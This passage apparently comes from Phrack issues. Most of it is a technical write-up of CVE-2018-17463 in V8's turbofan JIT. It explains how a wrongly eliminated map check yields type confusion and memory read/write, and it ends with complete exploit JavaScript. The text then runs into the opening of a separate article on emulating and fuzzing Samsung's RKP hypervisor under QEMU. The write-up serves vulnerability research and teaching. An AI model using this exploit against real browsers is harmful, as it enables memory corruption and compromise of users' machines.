foo({a: 42, b: 43});

}

/* Or by using a native after providing some type information: */

foo({a: 42, b: 43});

foo({a: 42, b: 43});

%OptimizeFunctionOnNextCall(foo);

foo({a: 42, b: 43});

This will also inhabit the feedback vector of the function which associates observed input types with bytecode operations. In this case, the feedback vector entry for the LdaNamedProperty would contain a single entry: the Map of the objects that were given to the function as argument. This Map will indicate that property .b is stored in the second inline slot.

Once turbofan starts compiling, it will build a graph representation of the JavaScript code. It will also inspect the feedback vector and, based on that, speculate that the function will always be called with an object of a specific Map. Next, it guards these assumptions with two runtime checks, which will bail out to the interpreter if the assumptions ever turn out to be false, then proceeds to emit a property load for an inline property. The optimized graph will ultimately look similar to the one shown below. Here, only data‑flow edges are shown.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| Parameter[1] |

| |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+

| +‑‑‑

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> CheckHeapObject |

|

+‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| CheckMap <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

+‑‑‑‑‑+‑‑‑‑‑‑+

| +‑‑‑

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> LoadField[+32] |

|

+‑‑‑

+‑‑‑‑‑‑‑‑‑‑+

| |

| Return <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

+‑‑‑‑‑‑‑‑‑‑+

This graph will then be lowered to machine code similar to the following.

; Ensure o is not a Smi

test rdi, 0x1

jz bailout_not_object

; Ensure o has the expected Map

cmp QWORD PTR [rdi‑0x1], 0xabcd1234

jne bailout_wrong_map

; Perform operation for object with known Map

mov rax, [rdi+0x1f]

ret

If the function were to be called with an object with a different Map, the second guard would fail, causing a bailout to the interpreter (more precisely to the LdaNamedProperty operation of the bytecode) and likely the discarding of the compiled code. Eventually, the function would be recompiled to take the new type feedback into account. In that case, the function would be re‑compiled to perform a polymorphic property load (supporting more than one input type), e.g. by emitting code for the property load for both Maps, then jumping to the respective one depending on the current Map. If the operation becomes even more polymorphic, the compiler might decide to use a generic inline cache (IC) [8][9] for the polymorphic operation. An IC caches previous lookups but can always fall‑back to the runtime function for previously unseen input types without bailing out of the JIT code.

‑‑[ 3 ‑ JIT Compiler Vulnerabilities

JavaScript JIT compilers are commonly implemented in C++ and as such are subject to the usual list of memory‑ and type‑safety violations. These are not specific to JIT compilers and will thus not be discussed further. Instead, the focus will be put on bugs in the compiler which lead to incorrect machine code generation which can then be exploited to cause memory corruption.

Besides bugs in the lowering phases [10][11] which often result in rather classic vulnerabilities like integer overflows in the generated machine code, many interesting bugs come from the various optimizations. There have been bugs in bounds‑check elimination [12][13][14][15], escape analysis [16][17], register allocation [18], and others. Each optimization pass tends to yield its own kind of vulnerabilities.

When auditing complex software such as JIT compilers, it is often a sensible approach to determine specific vulnerability patterns in advance and look for instances of them. This is also a benefit of manual code auditing: knowing that a particular type of bug usually leads to a simple, reliable exploit, this is what the auditor can look for specifically.

As such, a specific optimization, namely redundancy elimination, will be discussed next, along with the type of vulnerability one can find there and a concrete vulnerability, CVE‑2018‑17463, accompanied with an exploit.

‑‑‑‑[ 3.1 ‑ Redundancy Elimination

One popular class of optimizations aims to remove safety checks from the emitted machine code if they are determined to be unnecessary. As can be imagined, these are very interesting for the auditor as a bug in those will usually result in some kind of type confusion or out‑of‑bounds access.

One instance of these optimization passes, often called "redundancy elimination", aims to remove redundant type checks. As an example, consider the following code:

function foo(o) {

return o.a + o.b;

}

Following the JIT compilation approach outlined in chapter 2, the following IR code might be emitted for it:

CheckHeapObject o

CheckMap o, map1

r0 = Load [o + 0x18]

CheckHeapObject o

CheckMap o, map1

r1 = Load [o + 0x20]

r2 = Add r0, r1

CheckNoOverflow

Return r2

The obvious issue here is the redundant second pair of CheckHeapObject and CheckMap operations. In that case it is clear that the Map of o can not change between the two CheckMap operations. The goal of redundancy elimination is thus to detect these types of redundant checks and remove all but the first one on the same control‑flow path.

However, certain operations can cause side‑effects: observable changes to the execution context. For example, a Call operation invoking a user supplied function could easily cause an objectâ€™s Map to change, e.g. by adding or removing a property. In that case, a seemingly redundant check is in fact required as the Map could change in between the two checks. As such it is essential for this optimization that the compiler knows about all effectful operations in its IR. Unsurprisingly, correctly predicting side effects of JIT operations can be quite hard due to to the nature of the JavaScript language. Bugs related to incorrect side effect predictions thus appear from time to time and are typically exploited by tricking the compiler into removing a seemingly redundant type check, then invoking the compiled code such that an object of an unexpected type is used without a preceding type check. Some form of type confusion then follows.

Vulnerabilities related to incorrect modeling of side‑effect can usually be found by locating IR operations which are assumed side‑effect free by the engine, then verifying whether they really are side‑effect free in all cases. This is how CVE‑2018‑17463 was found.

‑‑‑‑[ 3.2 CVE‑2018‑17463

In v8, IR operations have various flags associated with them. One of them, kNoWrite, indicates that the engine assumes that an operation will not have observable side‑effects, it does not "write" to the effect chain. An example for such an operation was JSCreateObject, shown below:

#define CACHED_OP_LIST(V)

...

V(CreateObject, Operator::kNoWrite, 1, 1) \ ...

To determine whether an IR operation might have side‑effects it is often necessary to look at the lowering phases which convert high‑level operations, such as JSCreateObject, into lower‑level instruction and eventually machine instructions. For JSCreateObject, the lowering happens in js‑generic‑lowering.cc, responsible for lowering JS operations:

void JSGenericLowering::LowerJSCreateObject(Node* node) { CallDescriptor::Flags flags = FrameStateFlagForCall(node); Callable callable = Builtins::CallableFor( isolate(), Builtins::kCreateObjectWithoutProperties); ReplaceWithStubCall(node, callable, flags);

}

In plain english, this means that a JSCreateObject operation will be lowered to a call to the runtime function CreateObjectWithoutProperties. This function in turn ends up calling ObjectCreate, another builtin but this time implemented in C++. Eventually, control flow ends up in JSObject::OptimizeAsPrototype. This is interesting as it seems to imply that the prototype object may potentially be modified during said optimization, which could be an unexpected side‑effect for the JIT compiler. The following code snippet can be run to check whether OptimizeAsPrototype modifies the object in some way:

let o = {a: 42};

%DebugPrint(o);

Object.create(o);

%DebugPrint(o);

Indeed, running it with `d8 ‑‑allow‑natives‑syntax` shows:

DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE]

‑ map: 0x0344c6f02571 <Map(HOLEY_ELEMENTS)> [FastProperties] ...

DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE]

‑ map: 0x0344c6f0d6d1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]

As can be seen, the object's Map has changed when becoming a prototype so the object must have changed in some way as well. In particular, when becoming a prototype, the out‑of‑line property storage of the object was converted to dictionary mode. As such the pointer at offset 8 from the object will no longer point to a PropertyArray (all properties one after each other, after a short header), but instead to a NameDictionary (a more complex data structure directly mapping property names to values without relying on the Map). This certainly is a side effect and in this case an unexpected one for the JIT compiler. The reason for the Map change is that in v8, prototype Maps are never shared due to clever optimization tricks in other parts of the engine [19].

At this point it is time to construct a first proof‑of‑concept for the bug. The requirements to trigger an observable misbehavior in a compiled function are:

0. The function must receive an object that is not currently used as a prototype.

1. The function needs to perform a CheckMap operation so that subsequent ones can be eliminated.

2. The function needs to call Object.create with the object as argument to trigger the Map transition.

3. The function needs to access an out‑of‑line property. This will, after a CheckMap that will later be incorrectly eliminated, load the pointer to the property storage, then deference that believing that it is pointing to a PropertyArray even though it will point to a NameDictionary.

The following JavaScript code snippet accomplishes this

function hax(o) {

// Force a CheckMaps node.

o.a;

// Cause unexpected side‑effects.

Object.create(o);

// Trigger type‑confusion because CheckMaps node is removed.

return o.b;

}

for (let i = 0; i < 100000; i++) {

let o = {a: 42};

o.b = 43; // will be stored out‑of‑line.

hax(o);

}

It will first be compiled to pseudo IR code similar to the following:

CheckHeapObject o

CheckMap o, map1

Load [o + 0x18]

// Changes the Map of o

Call CreateObjectWithoutProperties, o

CheckMap o, map1

r1 = Load [o + 0x8] // Load pointer to out‑of‑line properties

r2 = Load [r1 + 0x10] // Load property value

Return r2

Afterwards, the redundancy elimination pass will incorrectly remove the second Map check, yielding:

CheckHeapObject o

CheckMap o, map1

Load [o + 0x18]

// Changes the Map of o

Call CreateObjectWithoutProperties, o

r1 = Load [o + 0x8]

r2 = Load [r1 + 0x10]

Return r2

When this JIT code is run for the first time, it will return a different value than 43, namely an internal fields of the NameDictionary which happens to be located at the same offset as the .b property in the PropertyArray.

Note that in this case, the JIT compiler tried to infer the type of the argument object at the second property load instead of relying on the type feedback and thus, assuming the map wouldnâ€™t change after the first type check, produced a property load from a FixedArray instead of a NameDictionary.

‑‑[ 4 ‑ Exploitation

The bug at hand allows the confusion of a PropertyArray with a NameDictionary. Interestingly, the NameDictionary still stores the property values inside a dynamically sized inline buffer of (name, value, flags) triples. As such, there likely exists a pair of properties P1 and P2 such that both P1 and P2 are located at offset O from the start of either the PropertyArray or the NameDictionary respectively. This is interesting for reasons explained in the next section. Shown next is the memory dump of the PropertyArray and NameDictionary for the same properties side by side:

let o = {inline: 42};

o.p0 = 0; o.p1 = 1; o.p2 = 2; o.p3 = 3; o.p4 = 4;

o.p5 = 5; o.p6 = 6; o.p7 = 7; o.p8 = 8; o.p9 = 9;

0x0000130c92483e89 0x0000130c92483bb1 0x0000000c00000000 0x0000006500000000 0x0000000000000000 0x0000000b00000000 0x0000000100000000 0x0000000000000000 0x0000000200000000 0x0000002000000000 0x0000000300000000 0x0000000c00000000 0x0000000400000000 0x0000000000000000 0x0000000500000000 0x0000130ce98a4341 0x0000000600000000 <‑!‑> 0x0000000200000000 0x0000000700000000 0x000004c000000000 0x0000000800000000 0x0000130c924826f1 0x0000000900000000 0x0000130c924826f1

... ...

In this case the properties p6 and p2 overlap after the conversion to dictionary mode. Unfortunately, the layout of the NameDictionary will be different in every execution of the engine due to some process‑wide randomness being used in the hashing mechanism. It is thus necessary to first find such a matching pair of properties at runtime. The following code can be used for that purpose.

function find_matching_pair(o) {

let a = o.inline;

this.Object.create(o);

let p0 = o.p0;

let p1 = o.p1;

...;

return [p0, p1, ..., pN];

let pN = o.pN;

}

Afterwards, the returned array is searched for a match. In case the exploit gets unlucky and doesn't find a matching pair (because all properties are stored at the end of the NameDictionaries inline buffer by bad luck), it is able to detect that and can simply retry with a different number of properties or different property names.

‑‑‑‑[ 4.1 ‑ Constructing Type Confusions

There is an important bit about v8 that wasn't discussed yet. Besides the location of property values, Maps also store type information for properties. Consider the following piece of code:

let o = {}

o.a = 1337;

o.b = {x: 42};

After executing it in v8, the Map of o will indicate that the property .a will always be a Smi while property .b will be an Object with a certain Map that will in turn have a property .x of type Smi. In that case, compiling a function such as

function foo(o) {

return o.b.x;

}

will result in a single Map check for o but no further Map check for the .b property since it is known that .b will always be an Object with a specific Map. If the type information for a property is ever invalidated by assigning a property value of a different type, a new Map is allocated and the type information for that property is widened to include both the previous and the new type.

With that, it becomes possible to construct a powerful exploit primitive from the bug at hand: by finding a matching pair of properties JIT code can be compiled which assumes it will load property p1 of one type but in reality ends up loading property p2 of a different type. Due to the type information stored in the Map, the compiler will, however, omit type checks for the property value, thus yielding a kind of universal type confusion: a primitive that allows one to confuse an object of type X with an object of type Y where both X and Y, as well as the operation that will be performed on type X in the JIT code, can be arbitrarily chosen. This is, unsurprisingly, a very powerful primitive.

Below is the scaffold code for crafting such a type confusion primitive from the bug at hand. Here p1 and p2 are the property names of the two properties that overlap after the property storage is converted to dictionary mode. As they are not known in advance, the exploit relies on eval to generate the correct code at runtime.

eval(`

function vuln(o) {

// Force a CheckMaps node

let a = o.inline;

// Trigger unexpected transition of property storage

this.Object.create(o);

// Seemingly load .p1 but really load .p2

let p = o.${p1};

// Use p (known to be of type X but really is of type Y)

// ...;

}

`);

let arg = makeObj();

arg[p1] = objX;

arg[p2] = objY;

vuln(arg);

In the JIT compiled function, the compiler will then know that the local variable p will be of type X due to the Map of o and will thus omit type checks for it. However, due to the vulnerability, the runtime code will actually receive an object of type Y, causing a type confusion.

‑‑‑‑[ 4.2 ‑ Gaining Memory Read/Write

From here, additional exploit primitives will now be constructed: first a primitive to leak the addresses of JavaScript objects, second a primitive to overwrite arbitrary fields in an object. The address leak is possible by confusing the two objects in a compiled piece of code which fetches the .x property, an unboxed double, converts it to a v8 HeapNumber, and returns that to the caller. Due to the vulnerability, it will, however, actually load a pointer to an object and return that as a double.

function vuln(o) {

let a = o.inline;

this.Object.create(o);

return o.${p1}.x1;

}

let arg = makeObj();

arg[p1] = {x: 13.37}; // X, inline property is an unboxed double

arg[p2] = {y: obj}; // Y, inline property is a pointer

vuln(arg);

This code will result in the address of obj being returned to the caller as a double, such as 1.9381218278403e‑310.

Next, the corruption. As is often the case, the "write" primitive is just the inversion of the "read" primitive. In this case, it suffices to write to a property that is expected to be an unboxed double, such as shown next.

function vuln(o) {

let a = o.inline;

this.Object.create(o);

let orig = o.${p1}.x2;

o.${p1}.x = ${newValue};

return orig;

}

let arg = makeObj();

arg[p1] = {x: 13.37};

arg[p2] = {y: obj};

vuln(arg);

This will "corrupt" property .y of the second object with a controlled double. However, to achieve something useful, the exploit would likely need to corrupt an internal field of an object, such as is done below for an ArrayBuffer. Note that the second primitive will read the old value of the property and return that to the caller. This makes it possible to:

* immediately detect once the vulnerable code ran for the first time and corrupted the victim object

* fully restore the corrupted object at a later point to guarantee clean process continuation.

With those primitives at hand, gaining arbitrary memory read/write becomes as easy as

0. Creating two ArrayBuffers, ab1 and ab2

1. Leaking the address of ab2

2. Corrupting the backingStore pointer of ab1 to point to ab2

Yielding the following situation:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑

| ArrayBuffer 1 | +‑‑‑‑>| ArrayBuffer 2 |

| | | |

| map | | | map |

| properties | | | properties |

| elements | | | elements |

| byteLength | | | byteLength |

| backingStore ‑‑+‑‑‑‑‑+ | backingStore |

| flags | | flags |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑

Afterwards, arbitrary addresses can be accessed by overwriting the backingStore pointer of ab2 by writing into ab1 and subsequently reading from or writing to ab2.

‑‑‑‑[ 4.3 ‑ Reflections

As was demonstrated, by abusing the type inference system in v8, an initially limited type confusion primitive can be extended to achieve confusion of arbitrary objects in JIT code. This primitive is powerful for several reasons:

0. The fact that the user is able to create custom types, e.g. by adding properties to objects. This avoids the need to find a good type confusion candidate as one can likely just create it, such as was done by the presented exploit when it confused an ArrayBuffer with an object with inline properties to corrupt the backingStore pointer.

1. The fact that code can be JIT compiled that performs an arbitrary operation on an object of type X but at runtime receives an object of type Y due to the vulnerability. The presented exploit compiled loads and stores of unboxed double properties to achieve address leaks and the corruption of ArrayBuffers respectively.

2. The fact that type information is aggressively tracked by the engines, increasing the number of types that can be confused with each other.

As such, it can be desirable to first construct the discussed primitive from lower‑level primitives if these aren't sufficient to achieve reliable memory read/write. It is likely that most type check elimination bugs can be turned into this primitive. Further, other types of vulnerabilities can potentially be exploited to yield it as well. Possible examples include register allocation bugs, use‑after‑frees, or out‑of‑bounds reads or writes into the property buffers of JavaScript objects.

‑‑‑‑[ 4.4 Gaining Code Execution

While previously an attacker could simply write shellcode into the JIT region and execute it, things have become slightly more time consuming: in early 2018, v8 introduced a feature called write‑protect‑code‑memory [20] which essentially flips the JIT region's access permissions between R‑X and RW‑. With that, the JIT region will be mapped as R‑X during execution of JavaScript code, thus preventing an attacker from directly writing into it. As such, one now needs to find another way to code execution, such as simply performing ROP by overwriting vtables, JIT function pointers, the stack, or through another method of one's choosing. This is left as an exercise for the reader.

Afterwards, the only thing left to do is to run a sandbox escape... ;)

‑‑[ 5 ‑ References

[1] https://blogs.securiteam.com/index.php/archives/3783

[2] https://cs.chromium.org/

[3] https://v8.dev/

[4] https://www.ecma‑international.org/ecma‑262/8.0/

index.html#sec‑array‑exotic‑objects

[5] https://www.ecma‑international.org/ecma‑262/8.0/

index.html#sec‑addition‑operator‑plus

[6] https://chromium.googlesource.com/v8/v8.git/+/6.9.427.19/

tools/turbolizer/

[7] https://v8.dev/docs/ignition

[8] https://www.mgaudet.ca/technical/2018/6/5/

an‑inline‑cache‑isnt‑just‑a‑cache

[9] https://mathiasbynens.be/notes/shapes‑ics

[10] https://bugs.chromium.org/p/project‑zero/issues/detail?id=1380

[11] https://github.com/WebKit/webkit/commit/

61dbb71d92f6a9e5a72c5f784eb5ed11495b3ff7

[12] https://bugzilla.mozilla.org/show_bug.cgi?id=1145255

[13] https://www.thezdi.com/blog/2017/8/24/

deconstructing‑a‑winning‑webkit‑pwn2own‑entry

[14] https://bugs.chromium.org/p/chromium/issues/detail?id=762874

[15] https://bugs.chromium.org/p/project‑zero/issues/detail?id=1390

[17] https://bugs.chromium.org/p/project‑zero/issues/detail?id=1396

[16] https://cloudblogs.microsoft.com/microsoftsecure/2017/10/18/

browser‑security‑beyond‑sandboxing/

[18] https://www.mozilla.org/en‑US/security/advisories/

mfsa2018‑24/#CVE‑2018‑12386

[19] https://mathiasbynens.be/notes/prototypes

[20] https://github.com/v8/v8/commit/

14917b6531596d33590edb109ec14f6ca9b95536

‑‑[ 6 ‑ Exploit Code

if (typeof(window) !== 'undefined') {

print = function(msg) {

console.log(msg);

document.body.textContent += msg + "\r\n";

}

}

{

// Conversion buffers.

let floatView = new Float64Array(1);

let uint64View = new BigUint64Array(floatView.buffer);

let uint8View = new Uint8Array(floatView.buffer);

// Feature request: unboxed BigInt properties so these aren't needed =)

Number.prototype.toBigInt = function toBigInt() { floatView[0] = this;

return uint64View[0];

};

BigInt.prototype.toNumber = function toNumber() { uint64View[0] = this;

return floatView[0];

};

}

// Garbage collection is required to move objects to a stable position in

// memory (OldSpace) before leaking their addresses.

function gc() {

for (let i = 0; i < 100; i++) {

new ArrayBuffer(0x100000);

}

}

const NUM_PROPERTIES = 32;

const MAX_ITERATIONS = 100000;

function checkVuln() {

function hax(o) {

// Force a CheckMaps node before the property access. This must

// load an inline property here so the out‑of‑line properties

// pointer cannot be reused later.

o.inline;

// Turbofan assumes that the JSCreateObject operation is

// side‑effect free (it has the kNoWrite property). However, if the

// prototype object (o in this case) is not a constant, then

// JSCreateObject will be lowered to a runtime call to

// CreateObjectWithoutProperties. This in turn eventually calls

// JSObject::OptimizeAsPrototype which will modify the prototype

// object and assign it a new Map. In particular, it will

// transition the OOL property storage to dictionary mode.

Object.create(o);

// The CheckMaps node for this property access will be incorrectly

// removed. The JIT code is now accessing a NameDictionary but

// believes its loading from a FixedArray.

return o.outOfLine;

}

for (let i = 0; i < MAX_ITERATIONS; i++) {

let o = {inline: 0x1337};

o.outOfLine = 0x1338;

let r = hax(o);

if (r !== 0x1338) {

return;

}

}

throw "Not vulnerable"

};

// Make an object with one inline and numerous out‑of‑line properties.

function makeObj(propertyValues) {

let o = {inline: 0x1337};

for (let i = 0; i < NUM_PROPERTIES; i++) { Object.defineProperty(o, 'p' + i, {

writable: true,

value: propertyValues[i]

});

}

return o;

}

//

// The 3 exploit primitives.

//

// Find a pair (p1, p2) of properties such that p1 is stored at the same

// offset in the FixedArray as p2 is in the NameDictionary.

let p1, p2;

function findOverlappingProperties() {

let propertyNames = [];

for (let i = 0; i < NUM_PROPERTIES; i++) { propertyNames[i] = 'p' + i;

}

eval(`

function hax(o) {

o.inline;

this.Object.create(o); ${propertyNames.map((p) => `let ${p} = o.${p};`).join('\n')} return [${propertyNames.join(', ')}];

}

`);

let propertyValues = [];

for (let i = 1; i < NUM_PROPERTIES; i++) {

// There are some unrelated, small‑valued SMIs in the dictionary.

// However they are all positive, so use negative SMIs. Don't use

// ‑0 though, that would be represented as a double...

propertyValues[i] = ‑i;

}

for (let i = 0; i < MAX_ITERATIONS; i++) {

let r = hax(makeObj(propertyValues));

for (let i = 1; i < r.length; i++) {

// Properties that overlap with themselves cannot be used.

if (i !== ‑r[i] && r[i] < 0 && r[i] > ‑NUM_PROPERTIES) { [p1, p2] = [i, ‑r[i]];

return;

}

}

}

throw "Failed to find overlapping properties";

}

// Return the address of the given object as BigInt.

function addrof(obj) {

// Confuse an object with an unboxed double property with an object

// with a pointer property.

eval(`

function hax(o) {

o.inline;

this.Object.create(o);

return o.p${p1}.x1;

}

`);

let propertyValues = [];

// Property p1 should have the same Map as the one used in

// corrupt for simplicity.

propertyValues[p1] = {x1: 13.37, x2: 13.38}; propertyValues[p2] = {y1: obj};

for (let i = 0; i < MAX_ITERATIONS; i++) {

let res = hax(makeObj(propertyValues));

if (res !== 13.37) {

// Adjust for the LSB being set due to pointer tagging.

return res.toBigInt() ‑ 1n;

}

}

throw "Addrof failed";

}

// Corrupt the backingStore pointer of an ArrayBuffer object and return the

// original address so the ArrayBuffer can later be repaired.

function corrupt(victim, newValue) {

eval(`

function hax(o) {

o.inline;

this.Object.create(o);

let orig = o.p${p1}.x2;

o.p${p1}.x2 = ${newValue.toNumber()}; return orig;

}

`);

let propertyValues = [];

// x2 overlaps with the backingStore pointer of the ArrayBuffer.

let o = {x1: 13.37, x2: 13.38};

propertyValues[p1] = o;

propertyValues[p2] = victim;

for (let i = 0; i < MAX_ITERATIONS; i++) {

o.x2 = 13.38;

let r = hax(makeObj(propertyValues));

if (r !== 13.38) {

return r.toBigInt();

}

}

throw "CorruptArrayBuffer failed";

}

function pwn() {

//

// Step 0: verify that the engine is vulnerable.

//

checkVuln();

print("[+] v8 version is vulnerable");

//

// Step 1. determine a pair of overlapping properties.

//

findOverlappingProperties();

print(`[+] Properties p${p1} and p${p2} overlap`);

//

// Step 2. leak the address of an ArrayBuffer.

//

let memViewBuf = new ArrayBuffer(1024);

let driverBuf = new ArrayBuffer(1024);

// Move ArrayBuffer into old space before leaking its address.

gc();

let memViewBufAddr = addrof(memViewBuf);

print(`[+] ArrayBuffer @ 0x${memViewBufAddr.toString(16)}`);

//

// Step 3. corrupt the backingStore pointer of another ArrayBuffer to

// point to the first ArrayBuffer.

//

let origDriverBackingStorage = corrupt(driverBuf, memViewBufAddr);

let driver = new BigUint64Array(driverBuf);

let origMemViewBackingStorage = driver[4];

//

// Step 4. construct the memory read/write primitives.

//

let memory = {

write(addr, bytes) {

driver[4] = addr;

let memview = new Uint8Array(memViewBuf); memview.set(bytes);

},

read(addr, len) {

driver[4] = addr;

let memview = new Uint8Array(memViewBuf); return memview.subarray(0, len);

},

read64(addr) {

driver[4] = addr;

let memview = new BigUint64Array(memViewBuf); return memview[0];

},

write64(addr, ptr) {

driver[4] = addr;

let memview = new BigUint64Array(memViewBuf); memview[0] = ptr;

},

addrof(obj) {

memViewBuf.leakMe = obj;

let props = this.read64(memViewBufAddr + 8n); return this.read64(props + 15n) ‑ 1n;

},

fixup() {

let driverBufAddr = this.addrof(driverBuf); this.write64(driverBufAddr + 32n, origDriverBackingStorage); this.write64(memViewBufAddr + 32n, origMemViewBackingStorage); },

};

print("[+] Constructed memory read/write primitive");

// Read from and write to arbitrary addresses now :)

memory.write64(0x41414141n, 0x42424242n);

// All done here, repair the corrupted objects.

memory.fixup();

// Verify everything is stable.

gc();

}

if (typeof(window) === 'undefined')

pwn();

Hypervisor Necromancy; Reanimating Kernel Protectors

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x0a of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Hypervisor Necromancy; ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Reanimating Kernel Protectors, or ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑=[ On emulating hypervisors; a Samsung RKP case study ]=‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Aris Thallas ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ athallas.phrack@gmail.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

0 ‑ Introduction

1 ‑ Overview

1.1 ‑ ARM Architecture & Virtualization Extensions

1.2 ‑ Samsung Hypervisor

1.3 ‑ Workspace Environment

2 ‑ Framework Implementation & RKP Analysis

2.1 ‑ System Bootstrap

2.1.1 ‑ EL1

2.2 ‑ EL2 Bootstrap

2.2.1 ‑ Stage 2 translation & Concatenated tables 2.2.2 ‑ EL2 bootstrap termination and EL1 physical address 2.3 ‑ RKP Initialization Functions

2.3.1 ‑ RKP Exception Handlers

2.3.2 ‑ RKP Initialization

2.3.3 ‑ RKP Deferred Initialization

2.3.4 ‑ Miscellaneous Initializations

2.4 ‑ Final Notes

3 ‑ Fuzzing

3.1 ‑ Dummy fuzzer

3.1.1 ‑ Handling Aborts

3.1.2 ‑ Handling Hangs

3.2 ‑ AFL with QEMU full system emulation

3.2.1 ‑ Introduction

3.2.2 ‑ Implementation

3.3.2.1 ‑ QEMU patches

3.3.2.2 ‑ Framework support

3.3.2.3 ‑ Handling parent translations 3.3.2.4 ‑ Handling hangs and aborts 3.3.2.5 ‑ Demonstration

3.4 ‑ Final Comments

4 ‑ Conclusions

5 ‑ Thanks

6 ‑ References

7 ‑ Source code

‑‑[ 0 ‑ Introduction

Until recently, to compromise an entire system during runtime attackers found and exploited kernel vulnerabilities. This allowed them to perform a variety of actions; executing malicious code in the context of the kernel, modify kernel data structures to elevate privileges, access protected data, etc. Various mitigations have been introduced to protect against such actions and hypervisors have also been utilized, appart from their traditional usage for virtualization support, towards this goal. In the Android ecosystem this has been facilitated by ARM virtualization extensions, which allowed vendors/OEMs to implement their own protection functionalities/logic.

On the other hand, Android devices have been universally a major PITA to debug due to the large diversity of OEMs and vendors that introduced endless customizations, the lack of public tools, debug interfaces etc. To the author's understanding, setting up a proper debug environment is usually one of the most important and time consuming tasks and can make a world of difference in understanding the under examination system or application in depth (especially true if no source code is available), identifying 0day vulnerabilities and exploiting them.

In this (rather long) article we will be investigating methods to emulate proprietary hypervisors under QEMU, which will allow researchers to interact with them in a controlled manner and debug them. Specifically, we will be presenting a minimal framework developed to bootstrap Samsung S8+ proprietary hypervisor as a demonstration, providing details and insights on key concepts on ARM low level development and virtualization extensions for interested readers to create their own frameworks and Actually Compile And Boot them ;). Finally, we will be investigating fuzzing implementations under this setup.

The article is organized as follows. The first section provides background information on ARM, Samsung hypervisors and QEMU to properly define our development setup. Next, we will elaborate on the framework implementation while dealing with the various ARM virtualization and Samsung implementation nuances. We will continue by demonstrating how to implement custom dummy fuzzers under this setup and finally for more intelligent fuzzing incorporate AFL a.k.a. "NFL or something by some chap called Cameltuft" :p

On a final note, any code snippets, memory offsets or other information presented throughout this article refer to Samsung version G955FXXU4CRJ5, QEMU version 4.1.0 and AFL version 2.56b.

‑‑[ 1 ‑ Overview

‑‑‑‑[ 1.1 ‑ ARM Architecture & Virtualization Extensions

As stated in "Arm Architecture Reference Manual Armv8, for Armv8‑A architecture profile ‑ Issue E.a" (AARM), Armv8 defines a set of Exception Levels (EL, also referred to as Execution Levels) EL0 to EL3 and two security states Secure and Non‑secure aka Normal World. The higher the exception level, the higher the software execution privilege. EL3 represents the highest execution/privilege level and provides support for switching between the two security states and can access all system resources for all ELs in both security states. EL2 provides support for virtualization and in the latest version Armv8.5 support for Secure World EL2 was introduced. EL1 is the Operating System kernel EL typically described as _privileged_ and EL0 is the EL of userland applications called _unprivileged_.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Secure Monitor (EL3) |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Hypervisor (EL2)* | Sec Hypervisor (sEL2) |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| OS (EL1) | Trusted OS (sEL1) |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Userland App (EL0) | Secure App (sEL0) |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Normal World Secure World

Switching between ELs is only allowed via taking an exception or returning from one. Taking an exception leads to a higher or the same EL while returning from one (via `eret`) to lower or the same EL. To invoke EL1, `svc` (SuperVisor Call) command is used which triggers a synchronous exception which is then handled by the corresponding OS kernel exception vector entry. Similarly, EL2 is invoked via the `hvc` (HyperVisor Call) command and EL3 via the `smc` (Secure Monitor Call) command. Switching between security states is only done by EL3.

